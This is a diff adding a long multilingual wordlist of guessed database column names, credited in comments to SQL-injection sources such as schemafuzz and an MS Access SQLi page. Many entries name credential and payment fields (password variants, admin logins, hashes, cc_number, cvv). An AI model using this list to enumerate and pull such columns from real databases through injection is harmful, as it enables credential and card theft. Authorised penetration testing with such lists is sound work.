+node_id
+essn
+last_name
+iteration
+canchangenickname
+canoccupantschangesubject
+membersonly
+created_by
+succ_rate
+dnumber
+service_id
+mid
+publicroom
+propvalue
+empty_days
+moderated
+customer_id
+wdatarow
+persistent
+authorid
+patch_status_id
+submitted_by
+resolution_id
+osvendor
+routeid
+arch
+fid
+assigned_to
+ns
+event_id
+problem_code
+city
+note
+channel
+element_id
+cat_id
+position_id
+schema_id
+area
+bug_category_id
+session_id
+project_id
+random
+nsprefix
+archive_id
+nsschema
+view_id
+pname
+bug_group_id
+lastname
+link_id
+langid
+catname
+bug_id
+magic_string
+m_id
+zip
+patch_category_id
+custno
+idcountry
+stopid
+identifier
+category
+isbn
+group_project_id
+extension_id
+state
+password
+page
+extension
+spellid
+dno
+instanceof
+network
+priority
+aname
+person_id
+ncbofile
+student_number
+term_id
+uno
+path_id
+aid
+location_id
+propertyno
+course_number
+tid
+langug_code
+variable
+dept_desc
+orderno
+ownerno
+partof
+clientno
+white
+macaddr
+jobtypeid
+direction
+md5sum
+orga_id
+parentcategoryid
+beginstateid
+mname
+qno
+src
+featurename
+client_id
+route_id
+ticker
+version
+modulename
+maty_id
+currentstateid
+userinfo_id
+column_id
+imageinfo_id
+staffno
+lid
+metadatainfoid
+context
+app_title
+dest
+attributecategory_id
+operation_type
+dnum
+pers_id_registerer
+datasource
+connectorid
+our_loc
+country_name
+dname
+capital
+search_id
+statechangeid
+rightid
+endstateid
+distconnectorid
+walnut
+distmacaddr
+pixsize
+jobid
+revid
+match_cid
+branchno
+prepend_digits
+stockno
+ncbofileid
+object_type
+type_id
+pubid
+qagent
+office
+db_name
+bank
+dummy
+storyname
+col
+petty
+qname
+store_id
+inv_id
+inventory
+gift
+cno
+item
+c_sec_id
+row_id
+price
+loc_id
+ssn
+c_id
+sname
+parent
+allowance
+color
+group_name
+accounts
+vendorid
+gifi_accno
+movie_id
+rate
+company
+subid
+commentpath
+protocol_action_id
+topic_id
+s_id
+config_id
+long
+link
+copyright
+vehicle
+customerid
+customer
+f_id
+chart_id
+url
+host
+loans
+charttype
+imagefile
+data_set_id
+guest_ip
+biosample_id
+affiliation_id
+os_id
+street_id
+book_code
+object_name
+start_date
+form_id
+itemno
+provincial
+confid
+ratingid
+drinker
+qname_id
+whatsdom
+config_name
+ship_id
+investigator_id
+smilies_id
+cal_id
+license_id
+conf
+contact_id
+procedure_id
+column_name
+chromosome_id
+tf_key
+agent_specialtyid
+users_id
+gid
+publisher_code
+setting
+format_id
+word
+slogan
+superssn
+product
+referredby
+operationid
+ban_ip
+p_id
+lbl_aom_unaccessible_shipmethod
+origin
+comment_id
+product_version
+probe_id
+orderdate
+ordernumber
+data_type_id
+publisherid
+lake_id
+course_id
+questionid
+student_id
+user_name
+answerid
+hashtag
+preference_id
+author_num
+branch_num
+derived_id
+factoryid
+filterid
+log
+pnumber
+specialtyid
+plugin_id
+aa
+file
+dept_number
+action_attribute_id
+cpr
+storeid
+progenitor_id
+staff_number
+deptid
+semester
+poi_id
+part_id
+cell_line_id
+transaction_id
+agentid
+regionid
+token
+serial_no
+experimental_data_set_id
+cp_id
+the_geom
+model
+o_id
+personid
+display_name
+salesperson_id
+dependent_name
+license
+tablename
+employee_id
+e_id
+id_group
+location
+bb
+languageid
+int4
+msg_id
+department
+book_id
+ingredientid
+action_type_id
+maker
+app
+id_customer
+this
+entry_id
+county_id
+protocol_type_id
+empnbr
+unit_number
+bar
+studentid
+dbid
+title_id
+cname
+emp_num
+owner
+course_name
+editionnumber
+sessionid
+mealid
+com_id
+text
+chip_layout_id
+watchlistid
+qty
+data_set_type_id
+orderid
+module_id
+c1
+dlocation
+domainid
+course_no
+mgrssn
+id_log
+access_control_type_id
+account_id
+checking
+protocol_id
+request_id
+settingsid
+lname
+sale_date
+module_addr
+flag
+
+# spanish
+
+usuario
+nombre
+contrasena
+consumidor
+clave
+tecla
+llave
+chaveta
+tono
+cuna
+correo
+contrasenia
+
+# german
+
+benutzername
+benutzer
+passwort
+kennwort
+parole
+losungswort
+losung
+kennung
+motto
+stichwort
+schlusselwort
+
+# french
+
+utilisateur
+usager
+consommateur
+nom
+mot
+passe
+cle
+touche
+clef
+
+# italian
+
+utente
+nome
+utilizzatore
+parola
+chiave
+tasto
+pulsante
+chiavetta
+cifrario
+
+# portuguese
+
+usufrutuario
+chave
+cavilha
+
+# slavic
+
+korisnik
+sifra
+lozinka
+kljuc
+
+# turkish
+
+isim
+ad
+adi
+soyisim
+soyad
+soyadi
+kimlik
+kimlikno
+tckimlikno
+tckimlik
+yonetici
+sil
+silinmis
+numara
+sira
+lokasyon
+kullanici
+kullanici_adi
+sifre
+giris
+pasif
+posta
+adres
+is_adres
+ev_adres
+is_adresi
+ev_adresi
+isadresi
+isadres
+evadresi
+evadres
+il
+ilce
+eposta
+eposta_adres
+epostaadres
+eposta_adresi
+epostaadresi
+e-posta
+e-posta_adres
+e-postaadres
+e-posta_adresi
+e-postaadresi
+e_posta
+e_posta_adres
+e_postaadres
+e_posta_adresi
+e_postaadresi
+baglanti
+gun
+ay
+yil
+saat
+tarih
+guncelleme
+guncellemetarih
+guncelleme_tarih
+guncellemetarihi
+guncelleme_tarihi
+yetki
+cinsiyet
+ulke
+guncel
+vergi
+vergino
+vergi_no
+yas
+dogum
+dogumtarih
+dogum_tarih
+dogumtarihi
+dogum_tarihi
+telefon_is
+telefon_ev
+telefonis
+telefonev
+ev_telefonu
+is_telefonu
+ev_telefon
+is_telefon
+evtelefonu
+istelefonu
+evtelefon
+istelefon
+kontak
+kontaklar
+
+# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
+user
+pass
+cc_number
+emri
+fjalekalimi
+pwd
+customers_email_address
+customers_password
+user_password
+user_pass
+admin_user
+admin_password
+admin_pass
+usern
+user_n
+users
+login
+logins
+login_user
+login_admin
+login_username
+user_username
+user_login
+auid
+apwd
+adminid
+admin_id
+adminuser
+adminuserid
+admin_userid
+adminusername
+admin_username
+adminname
+admin_name
+usr
+usr_n
+usrname
+usr_name
+usrpass
+usr_pass
+usrnam
+nc
+myusername
+mail
+emni
+logohu
+punonjes
+kpro_user
+wp_users
+emniplote
+perdoruesi
+perdorimi
+punetoret
+logini
+llogaria
+fjalekalimin
+kodi
+emer
+ime
+korisnici
+user1
+administrator
+administrator_name
+mem_login
+login_password
+login_pass
+login_passwd
+login_pwd
+psw
+pass1word
+pass_word
+passw
+pass_w
+user_passwd
+userpass
+userpassword
+userpwd
+user_pwd
+useradmin
+user_admin
+mypassword
+passwrd
+admin_pwd
+admin_passwd
+mem_password
+memlogin
+e_mail
+usrn
+u_name
+uname
+mempassword
+mem_pass
+mem_passwd
+mem_pwd
+p_word
+pword
+p_assword
+myname
+my_username
+my_name
+my_password
+my_email
+cvvnumber
+about
+access
+accnt
+accnts
+account
+admin
+adminemail
+adminlogin
+adminmail
+admins
+aim
+auth
+authenticate
+authentication
+blog
+cc_expires
+cc_owner
+cc_type
+cfg
+clientname
+clientpassword
+clientusername
+config
+contact
+converge_pass_hash
+converge_pass_salt
+crack
+customers
+cvvnumber]
+db_database_name
+db_hostname
+db_password
+db_username
+download
+e-mail
+emailaddress
+full
+group
+hash
+hashsalt
+homepage
+icq
+icq_number
+id_member
+images
+index
+ip_address
+last_ip
+last_login
+login_name
+login_pw
+loginkey
+loginout
+logo
+md5hash
+member
+member_id
+member_login_key
+member_name
+memberid
+membername
+members
+new
+news
+nick
+number
+nummer
+passhash
+pass_hash
+password_hash
+passwordsalt
+personal_key
+phone
+privacy
+pw
+pwrd
+salt
+search
+secretanswer
+secretquestion
+serial
+session_member_id
+session_member_login_key
+sesskey
+spacer
+status
+store
+store1
+store2
+store3
+store4
+table_prefix
+temp_pass
+temp_password
+temppass
+temppasword
+un
+user_email
+user_icq
+user_ip
+user_level
+user_passw
+user_pw
+user_pword
+user_pwrd
+user_un
+user_uname
+user_usernm
+user_usernun
+user_usrnm
+userip
+userlogin
+usernm
+userpw
+usr2
+usrnm
+usrs
+warez
+xar_name
+xar_pass
+
+# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
+account
+accnts
+accnt
+user_id
+members
+usrs
+usr2
+accounts
+admin
+admins
+adminlogin
+auth
+authenticate
+authentication
+account
+access
+customers
+customer
+config
+conf
+cfg
+hash
+login
+logout
+loginout
+log
+member
+memberid
+password
+pass_hash
+pass
+passwd
+passw
+pword
+pwrd
+pwd
+store
+store1
+store2
+store3
+store4
+setting
+username
+name
+user
+user_name
+user_username
+uname
+user_uname
+usern
+user_usern
+un
+user_un
+usrnm
+user_usrnm
+usr
+usernm
+user_usernm
+user_nm
+user_password
+userpass
+user_pass
+user_pword
+user_passw
+user_pwrd
+user_pwd
+user_passwd
+
+# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
+fld_id
+fld_username
+fld_password
+loginname
+pasword
+permission
+perm
+user_group
+tendn
+tendangnhap
+tenquantri
+tenquanly
+tennguoidung
+ten
+tennd
+nguoidung
+nguoidungid
+quantri
+quanly
+u_id
+accountname
+account_name
+matkhau
+matma
+paswd
+pas
+tukhoa
+login_pas
+loginpassword
+loginpasswd
+loginpass
+loginpas
+loginpwd
+secret
+secret_code
+secretcode
+administrators
+adminpass
+adminpassword
+adminpaw
+adminpwd
+adminuid
+upass
+level
+mima
+sb_admin_name
+sb_pwd
+client
+clients
+ipaddress
+files
+family
+admin_psw
+administrateur
+adminpsw
+adminupass
+adress
+aide
+articleid
+content
+dw
+feed
+feedback
+glmm
+isadmin
+key
+keywords
+mpassword
+msn
+musername
+newsid
+numer
+passer
+pe_aduser
+pe_user
+power
+pswd
+pwd1
+qq
+stocker
+sysuser
+telephone
+texte
+userpasswd
+usr_nusr
+usr_pw
+website
+wind
+compte
+comptes
+objectif
+authentifier
+authentification
+fissure
+adressee-mail
+complet
+groupe
+hachage
+connexion
+membre
+membres
+mm
+p
+u
+mot_de_passe_bdd
+mon_mot_de_passe
+monmotdepasse
+ignatiusj
+caroline-du-nord
+nouveau
+sel
+recherche
+utilisateurs
+o
+konto
+rachunki
+administratorzy
+pomoc
+cel
+uwierzytelnienia
+uwierzytelnianie
+kontakt
+klient
+danych
+adres_e-mailowy
+grupy
+obrazy
+spis
+dostawcy
+nazwisko
+zaloguj
+nowy
+telefon
+seryjny
+ustawienie
+kod
+stan
+sklep1
+sklep2
+tekst
+zytk
+konta
+rysa
+adrese-mail
+ecolo
+tat
+yh
+yhm
+yhmm
+yonghu
+
+# site:br
+
+content_id
+codigo
+geometry
+published
+section_value
+tidcliente
+menuid
+pollid
+bid
+moduleid
+gab_pergunta
+tipo
+template
+multilinestring
+aal_aluno
+ava_professor
+adm_nivel
+lec_codigo
+per_codigo
+lec_disciplina
+gaip_codigo
+acl_id
+niv_codigo
+quantidade
+attribute_id
+gaia_codigo
+alu_matricula
+nota
+gab_codigo
+field_id
+ava_codigo
+aal_codigo
+message_id
+avi_codigo
+fre_disciplina
+groups_id
+nome_cliente
+pc
+lec_professor
+idusuario
+poll_id
+dis_codigo
+ava_disciplina
+gap_codigo
+avp_codigo
+aai_codigo
+fre_aluno
+fre_codigo
+adm_id
+id_estado
+aap_codigo
+pro_matricula
+gp
+xlancamento
+municipioprestador
+product_price_id
+country_2_code
+shopper_group_id
+manufacturer_id
+com_natur
+review_id
+xtipo_de_acao
+bookmark_id
+xequipe_padrao
+faixas_id
+xcliente
+deducoes_id
+xcategoria
+xencerramento
+idx_item
+xcadastro
+quantitens
+additional_htmlblob_users_id
+ipi
+xfase_de_vencimento
+permission_id
+xdecisao
+i_end
+xforo
+order_item_id
+mo
+grafica_id
+news_id
+enderecos_id
+desccompensa
+desconto
+creditcard_id
+card_id
+cardid
+idcard
+creditcard
+cardnumber
+cardno
+itens_id
+senha
+order_status_id
+id_seq
+municipio_id
+additional_users_id
+order_status_history_id
+function_id
+controladas_id
+ator_id
+shipping_rate_id
+htmlblob_id
+css_id
+xfase
+fieldvalueid
+main
+correcaostrategy_id
+fonte
+xmetodo_atualizacao
+desd_xdecisao
+jurosstrategy_id
+fielddef_id
+especie_id
+idcategoria
+xgrupo
+indice_id
+xprocedimento
+xcustom1
+autor_id
+newssummarycategory
+icmsinterno
+nonnavigable
+domicilio_id
+notafiscal_id
+userplugin_id
+shipping_carrier_id
+municipiotomador
+natureza
+solicitante_id
+mbpp
+xcustom2
+template_id
+chave_primaria
+desd_xforo
+payment_method_id
+nome_agencia
+pessoa_id
+uprdescricao
+export_id
+logo_id
+prazo_xevento
+tomador_id
+serie_id
+tidclasfiscais
+atividades_id
+logradouro_id
+xadvogado
+xequipe
+handler_id
+xobjeto
+multipolygon
+tipo_id
+xproprietario
+state_id
+mopc
+valorcontabil
+xprocesso
+coupon_id
+currency_id
+parameter_name
+contribuinte_id
+xcubo
+country_id
+id_fatura
+serienfe_id
+tax_rate_id
+waiting_list_id
+download_id
+emissao
+screen
+xcustom3
+mbpc
+documento_id
+xcustom4
+fieldid
+point
+xsituacao
+icmssp
+tidproduto
+pp
+empresa_id
+i_tel
+contador_id
+telefones_id
+estado_id
+xevento
+site
+order_currency
+xprocesso_apensado
+multastrategy_id
+saida
+grupo_id
+guid_sessao
+indice
+xjurisdicao
+news_category_id
+mf_category_id
+product_type_id
+xusuario
+vendor_id
+sitepref_name
+desd_xjurisdicao
+option_id
+xrelatorio
+codusuario
+id_cidade
+user_info_id
+desd_xfase
+situacao
+file_id
+zone_id
+id_servico
+situacao_id
+tidfornecedor
+valor2
+valor3
+valor4
+valor5
+origem
+few
+idxatv
+mopp
+prestador_id
+xprognostico
+xclasse
+log_id
+xadverso
+guid_email
+guiaavulsa_id
+pl
+vendor_category_id
+venc3
+venc2
+totpc
+venc5
+venc4
+xserie
+order_info_id
+an
+totpp
+totpv
+imagen_id
+esquema
+atividade_id
+xgarantia
+discount_id
+xnatureza
+group_perm_id
+category_child_id
+newssummaryauthor
+and_xevento
+
+# site:de
+
+rolle_nr
+standort_nr
+ja
+persnr
+vorname
+width
+titel
+filename
+post_id
+swidth
+height
+vorgaenger
+matrnr
+kursnr
+notification_type
+sheight
+style_id
+startnummer
+bezeichnung
+basename
+kat_id
+whabfragen
+struct_id
+havabfragen
+abfrsql
+vorlnr
+ban_id
+forum_id
+rank_id
+nr
+k_id
+nachname
+ort
+key_id
+groesse
+datum
+image_id
+entry
+speise_id
+word_id
+absatz_id
+class_id
+mail_id
+zid
+ticket_id
+queue_id
+pid1
+pid2
+currval
+forum
+organizationid
+institute_id
+history_id
+my
+how
+after
+meetingid
+mitarbeiterid
+idgruppe
+re
+artikel_id
+top
+perid
+pers_nr
+idstelle
+messageid
+acctid
+address_book_id
+article_id
+com
+kid
+rule_id
+kosten
+plz
+confirm_id
+race_id
+vis_id
+descr
+seitelayout_id
+vote_id
+g_id
+activated
+show
+guy
+vtyp_id
+timeofmove
+views
+meta_id
+blz
+bookid
+teilnehmernr
+weaponid
+region_id
+resultid
+calendar
+address_id
+pos
+d_id
+serverid
+cd
+answer_id
+categories_id
+start
+site_id
+price_id
+az
+mnr
+cis_id
+config_key
+address_format_id
+tn
+tax_id
+mountname
+standard
+schweiz
+partner_id
+idkontakt
+eventid
+oldstate
+topicid
+sonst
+pk
+mountcategory
+von
+orders_recalculate_id
+block_id
+knr
+msgid
+ortnr
+seiteabs_id
+id1
+um
+paperid
+send
+wid
+gi
+lieferant
+orgid
+profile
+zugang
+allow
+unique_id
+taskid
+configuration_id
+jcode
+ex_id
+blog_id
+who
+section_id
+mindk
+beschreibung
+schl
+you
+object_link_a_id
+disallow_id
+strasse
+option_name
+q_trid
+summary_id
+gameid
+
+# site:es
+
+catid
+dni
+prune_id
+anid
+linkid
+qid
+word_text
+id_cat
+eid
+privmsgs_text_id
+downloadid
+hid
+themes_id
+privmsgs_id
+codi
+requestid
+ratingdbid
+edad
+secid
+sitename
+artid
+gallid
+main_module
+contactid
+aro_id
+replace
+total
+root
+prodid
+id_paciente
+mosloadposition
+de
+mossef
+ordid
+stdprice
+advanced
+super
+editor
+rol
+editors
+mosvote
+agent
+en
+searchbot
+cod_aplicacion
+manager
+geshi
+author
+coste
+mos
+menutype
+session_ip
+publisher
+texto
+actor_id
+mosemailcloak
+none
+id_tra
+sistema
+help
+custid
+value_id
+nompuerto
+legacybots
+id_enfermedad
+tinymce
+nivel
+locale
+load
+format
+registered
+moscode
+results
+search_term
+mosimage
+sin
+mospaging
+que
+sef
+dorsal
+coste_total
+legacy
+btn
+repid
+parent_id
+time_stamp
+bannerid
+
+# site:fr
+
+numero
+id_auteur
+titre
+lang
+tag
+id_forum
+id_groupe
+id_article
+alliance1
+alliance2
+id_message
+num
+fichier
+id_user
+id_syndic
+dico
+id_rubrique
+id_document
+id_breve
+id_signature
+id_type
+ide
+id_syndic_article
+id_mot
+n_agence
+ville
+codepostal
+sess_id
+num1
+constraint_name
+n_type
+theme_id
+image
+referer_md5
+id_fragment
+new_id
+version_min
+liste
+id_version
+prix
+terms_body
+prenom
+nid
+n_client
+n_compte
+apid
+n_dept
+n_dir
+age
+
+# site:ru
+
+dt_id
+subdivision_id
+sub_class_id
+comments
+cmtid
+tags
+checkbox
+ct_id
+part
+lastupdated
+customsettings
+catalogue_id
+relationmessage
+englishname
+ba_num_reads
+at_id
+bs_setting
+am_id
+t2
+t1
+message
+blogcommentsaccess_id
+sub_class
+grfilt
+tempprovkredit
+ostdate
+koef
+bms_cat_id
+bd_id
+field2
+field3
+dd
+kredit
+callend
+gcode
+blogcommentsaccess
+sender
+udal
+bcf_id
+bfs_id
+schet
+grcode
+blogcommentssub
+blogpermissiongroup_id
+us_id
+bv_id
+bvo_id
+rusname
+gbid
+kontr600
+realiz_opt
+bs_bid
+bb_id
+bf_id
+wuser
+v_id
+sklad
+sd
+object_sub_class_id
+callstart
+myexec
+relationsub
+id_photo
+bfl_id
+bml_id
+blogmessagesaccess
+bn_id
+bsu_id
+id_links
+bo_id
+dates
+kontr620
+pom
+object_parent_id
+ostatki
+tovar
+oid
+bsm_id
+mn_id
+pcode
+id_poll_ip
+groupcodes
+codeid
+fot_id
+spell_id
+typenamekeeper
+bt_id
+odate
+bdate
+bs_id
+id_paragraph
+t4
+t3
+nt_id
+id_contact
+korschet
+data_in
+id_msg
+bc_plugin
+summaprihod
+boe_c_id
+bct_id
+grkntr
+btt_id
+string
+tl_id
+subdivision_name
+bc_id
+bfp_id
+bcfs_id
+vcode
+id_refferer
+ssschet
+sessid
+im_id
+id_poll
+ba_num_voted
+kontr60
+id_ip
+kre1
+ord_id
+kc
+bbt_id
+bst_id
+bftt_id
+blogpermissiongroup
+it_id
+chost
+bo_order_number
+ba_id
+object_sub_id
+hidden_url
+bms_id
+pnds
+pt_id
+realiz
+id_catalog
+wdate
+bff_id
+matcode
+bur_cat_id
+bsl_id
+blogmessagesaccess_id
+bcena
+ostatkii
+ost1
+bvr_id
+prih
+bu_id
+bp_id
+isview
+id_artpage
+tb_id
+bst_time
+ba_order_num
+username1
+id_answer
+rt_id
+bot_id
+korschetfilter
+st_id
+summachp
+vt_id
+data_out
+journals
+enumtypid
+scriptname
+result
+bsur_id
+keyname
+handle
+ba_date
+blogcommentscc
+lg_id
+bft_id
+ft_id
+toorg
+debet
+orgcode
+partstring
+id_product
+bte_id
+pu_id
+mt_id
+edate
+community
+bpe_id
+grtov
+id_page
+boe_id
+sut_id
+task_id
+object
+can
+voteid
+operation_id
+city_id
+list
+page_id
+banner_id
+error
+language_id
+val
+parol
+familiya
+imya
+otchestvo
+
+# site:jp
+
+dealer_id
+modify_date
+regist_date
+comment
+payment_method
+service_name
+file1
+rel_id
+sub_large_image3
+sub_image6
+sub_image4
+sub_image5
+sub_image3
+sub_image1
+fix
+companyid
+formid
+charge
+page_name
+deliv_fee
+category_name
+stock_unlimited
+sale_limit
+nam
+target_id
+tempid
+point_rate
+payment_image
+confirm_url
+dt
+document_id
+productid
+ken_kanji
+attname
+parent_category_id
+module_name
+main_list_image
+create_date
+conkey
+product_code
+price01
+price02
+classcategory_id1
+seminer_id
+classcategory_id2
+newrow
+update_date
+classcategory_id
+yeartag
+job
+relname
+comm
+main_large_image
+sub_image2
+deliv_id
+idx
+comment5
+bloc_row
+ndc
+comment6
+comment1
+comment3
+comment2
+creator_id
+bloc_name
+equip_id
+recommend_product_id
+file3
+file2
+jiscode
+file6
+file5
+file4
+news_date
+rank
+sub_title5
+sub_title4
+sub_title6
+sub_title1
+sub_title3
+sub_title2
+txt
+loc
+fee
+committee_id
+module_code
+pref
+disp_name
+pref_id
+deliv_date_id
+relid
+upper_rule
+main_image
+umeta_id
+template_code
+edit_flg
+comment4
+kiyaku_title
+hiredate
+csv_id
+sal
+attrelid
+deptname
+main_comment
+sub_large_image4
+sub_large_image5
+sub_large_image6
+php_dir
+sub_large_image1
+sub_large_image2
+bloc_id
+test
+tpl_dir
+del_flg
+stock
+sale_unlimited
+sub_comment4
+sub_comment5
+sub_comment6
+manuscriptid
+sub_comment1
+sub_comment2
+sub_comment3
+main_list_comment
+mgr
+product_flag
+rule
+c_commu_topic_id
+c_diary_comment_log_id
+
+# site:it
+
+idcomune
+idruolo
+idtrattamento
+idpaziente
+matricola
+idpersonale
+idasl
+idanagrafica
+idciclo
+iddocumento
+idservizio
+idricovero
+idclinica
+idcamera
+idtipociclo
+idsistemazione
+idtiporicovero
+idtiposervizio
+idsesso
+idpagamento
+idtipodimissione
+idletto
+iddescrizionedocumento
+codice
+cognome
+idtipodocumento
+idstatocivile
+idtipologiaservizio
+idtipotrattamento
+idmedicofamiglia
+idregistro
+idreparto
+iddistretto
+idprovenienza
+telefono
+eta
+figlio
+reddito
+denominazione
+anno
+idbocca
+idcartellaclinica
+idsistnerv
+idappargenit
+idtipotrasferimento
+dataricovero
+idcuore
+cap
+descrizione
+idocchi
+sede
+idricoverohatipologia
+noteaccettazione
+dal
+datadimissione
+idorecchie
+idcorpo
+id_provincia
+idtipologiaricovero
+id_regione
+idapparlocom
+idcomuneresidenza
+created_at
+datanascita
+corso
+idanamnesifamil
+idesameobiettivo
+idcapo
+idsmaglog
+sesso
+impiegato
+luogonascita
+idcute
+idcollo
+idsistresp
+dipsede
+cellulare
+idaddome
+php
+idnaso
+cf
+idstatogenerale
+idtrasferimento
+indirizzo
+genitore
+dipnome
+updated_at
+idlinfonodi
+groupname
+shop
+c_name
+plugin_googlemap2
+jfalternative
+post_status
+localita
+prz_merce_fis
+idgroupacl
+comune
+ana_codice
+utenteid
+mod_gtranslate
+idlocation
+rating_id
+online_id
+jfsections
+idextra
+categories
+luogoid
+nroordine
+stat_name
+gender
+oggettistica
+gru_userid
+pv_id
+parigi
+direct
+pm_id
+idperiodo
+idarticolo
+what
+can_codice
+sub
+id_nazione
+client_name
+acc_codice
+mod_freeway_services
+cleanurl
+newyork
+idcategory
+active
+box
+prc_sconto1
+prc_sconto3
+prc_sconto4
+disma
+iddiscipline
+job_e_date
+risultato
+mod_arcadebtn
+jfrouter
+apply
+unit
+newcollection
+customenu
+prova
+cod_utente_mod
+helvetica
+send_id
+mf_desc
+nroarticolo
+mod_ninja_simple_icons
+sessione
+cdele
+statoattivitaid
+bracciali
+zenzaro
+cod_valuta
+collane
+tabella
+newyorkenglish
+grp_id
+var_id
+sot_proposta_e
+virtuemart
+enteid
+rpad
+auth_id
+realname
+attivitaid
+readmore
+freewaylogin
+idconfig
+pin
+pins
+csc
+cvd
+cvv
+cvv2
+cvvc
+ccv
+ccid
+qta_merce
+charms
+diritto
+accessori
+mod_signallogin
+remember
+mod_virtuemart_featureprod
+padre
+prc_sconto2
+enter
+idgara
+morfeoshow
+lingua
+piede
+gtranslate
+under_menu
+id_disciplina
+nomedip
+before
+mod_virtuemart_search
+arial
+job_id
+config_item
+add_date
+jfdatabase
+madre
+idragsoc
+idsubscriptiontickets
+loadmodule
+jumpmenu
+idsocieta
+category_img
+portachiavi
+mf_name
+codicepaziente
+mod_virtuemart_randomprod
+ninja
+pro_codice
+mod_vm_cat_menu_specific
+vinod
+newsfeeds
+id_palestra
+mod_custom
+css
+debug
+side
+dipart
+areainterventoid
+mod_flashmod
+tipologiaenteid
+emailcloak
+mod_freeway_events
+id_logho
+codicemedico
+nuova
+catarticles
+dst
+gru_codice
+idutente
+idutenti
+job_title
+schedaid
+idmlattach
+zonainterventoid
+totfasciaeuroid
+structure_id
+att_codice
+blogger
+plan_table_output
+pagenavigation
+idplugin
+vote
+mod_freeway_subscriptions
+idconn
+cerca
+system
+langkey
+app_gruppo_e
+term_taxonomy_id
+statement
+params
+oggetto
+mod_cpmfetch
+signallogin
+id_passwd
+codrappr
+coddoc
+statoavanzamid
+nrsez
+idmlgroup
+rated_id
+kwick
+id_citta
+prc_magg1
+prc_magg2
+flg_fiscale
+banner_url
+attribute_sku_id
+mod_product_list
+end_date_time
+purchase_id
+client_url
+vm_manufacturer_category
+pfs_id
+veteran
+mod_cd_login
+menu_selezione
+ruoloenteid
+ele_codice
+pl_id
+payment
+idmlmail
+mod_virtuemart_currencies
+freeway
+annoid
+cod_dep
+area_id
+prg_art
+alias_area_id
+sent
+po_id
+yoologin
+sys_context
+mod_enugene
+idnotsentmails
+mod_virtuemart_manufacturers
+menu
+cache
+prg_movimento_riga
+url_md5
+ldap
+tvoti
+villiam
+full_news
+yoocarousel
+main2
+main3
+dat_utente_mod
+user_alto
+pff_id
+smilie_id
+mod_date
+banner
+pinsn
+codice_comune
+vm_payment_method
+idclassificatore
+idgroup
+progetto
+mod_freeway_shoppingcart
+payment_extrainfo
+cost_id
+gmail
+dat_movimento
+mod_jt_slideshow
+campo_bol
+idcliente
+prz_merce
+hdesc
+fp_id
+jt
+idfile
+ji
+mod_catarticles
+mod_virtuemart_latestprod
+mod_customenu
+app_utente_e
+prg_movimento
+include_date
+cod
+flipper
+naresh
+cache_language_id
+id_preventivo
+config_owner
+header
+mootoolnicemenu
+qualificareferenteid
+modhome
+id_annuncio
+idtitolo
+source
+charmsn
+swf
+tutor
+mod_yoo_carousel
+portachiavin
+idevent
+mod_mainmenu
+jfcontent
+item_cd
+tpref
+id_news
+mf_category_name
+iddesign
+moduledir
+cod_clifor
+fkidannofdr
+mod_donimedia_select_box_menu_type1
+jfcontacts
+jpg
+client_desc
+mod_freewaylogin
+mod_translate
+flscrvpre
+grand
+mf_category_desc
+payment_method_name
+extended
+mod_vm_prod_cat_full
+mod_freeway_admin
+orecchini
+nlista
+jfcategories
+mod_cssmenu
+mod_lxmenu
+mod_flipper_img_rotator
+fkidanagrafica
+id_comune
+statement_id
+idatleta
+inactive
+mod_sidebarmenuapplestyle
+candidato
+ref_url
+testq
+ind_clifor
+xmlrpc
+pingback_id
+l_col_list
+fs_id
+press
+mod_freeway_products
+semo
+bijoux
+rakesh
+modulo_contatti
+google
+vm_manufacturer
+vot_proposta_e
+brend
+post_date
+enugene
+nrcandi
+invoice
+home
+sot_utente_e
+settoreid
+weblinks
+contacts
+id2
+codcliente
+news_title
+job_s_date
+sql_text
+affiliate
+backlink
+core
+id_attivita
+index_num
+etertre
+manufacturer
+cod_utente_cre
+cod_art
+ideventcategory
+dat_utente_cre
+cache_id
+joomla
+product_list
+coupon
+mod_sendcart
+bijouxn
+pagebreak
+idsessione
+arcade
+mod_virtuemart_topten
+banner_title
+flg_prezzo_con_iva
+partnerid
+vot_utente_e
+sections
+xstandard
+id_scheda
+vm_category
+mod_jumplink
+exclude_date
+ruoloid
+contenuti
+accessorin
+coppermine
+banlist_id
+offerte
+idticket
+idsubscription
+beneficiarioid
+oggettistican
+jfnewsfeeds
+anelli
+ship
+imenu
+na
+nb
+get_ddl
+short_news
+openid
+titoloprogettoid
+connection_id
+mod_kwick_sliding_menu
+matr
+id_richiesta
+idoggetto
+lxmenu
+text_id
+user_basso
+ver_codice
+mayank
+idgrouppermission
+modules
+client_img
+does_repeat
+
+# site:cn
+
+typeid
+cronid
+advid
+admingid
+payid
+tagname
+optionid
+templateid
+applyid
+searchid
+styleid
+medalid
+pluginvarid
+fldfuntype
+fldfunindex
+displayorder
+pluginid
+fldfunopen
+fldfunid
+fldfunhref
+fldfunmemo
+fldfunname
+mobile
+invisible
+polloptionid
+cachename
+tagid
+pluginhookid
+pmid
+fldfuninfo
+magicid
+keyid
+areaid
+logid
+folder
+allno
+vieworder
+classid
+topped
+msg
+topics
+rankid
+timeid
+iconid
+intro
+corpid
+replies
+operation
+announceid
+nickname
+goods_id
+attachment
+special
+hk_name
+stylevarid
+posterid
+curtopics
+allowbanip
+hide
+allowdelpost
+db_value
+picurl
+yahoo
+adid
+digest
+n_id
+hidden
+olimg
+lastpost
+signature
+lastposttime
+doid
+authstr
+tabid
+org_code
+typename
+allowstickthread
+departmentid
+allowmassprune
+identify
+old
+avatar
+allowedituser
+forumname
+descrip
+blogid
+allowmoduser
+lastposterid
+today
+tempfidlist
+feedid
+courseid
+olid
+hk_value
+xh
+allowpostannounce
+copy
+splitstring
+icon
+fidlist
+lastpostpmtime
+article
+former
+projectid
+avatarheight
+html
+alloweditpoll
+downloads
+channelid
+allowbanuser
+appid
+allowcensorword
+emailid
+lastexecuted
+decl_mail
+lastupdatetime
+billid
+vid
+lastposter
+allowrefund
+allowviewrealname
+installed
+lasttid
+postcount
+searchstring
+reason
+customstatus
+titleid
+newpms
+verifycode
+forumid
+attention
+readperm
+skype
+lastsearchtime
+bio
+lastpostid
+idcard
+postdatetime
+question
+poster
+sightml
+highlight
+pageid
+threadorder
+todaycount
+currentindex
+avatarwidth
+magic
+allowmodpost
+allowviewip
+pro_id
+iid
+decrip
+alloweditpost
+mailid
+lastforumposterid
+accountid
+tids
+medals
+fileid
+postid
+closed
+lastactivity
+newnotices
+allowviewlog
+expiration
+layer
+ishtml
+command
+brand_id
+disablepostctrl
+fieldname
+
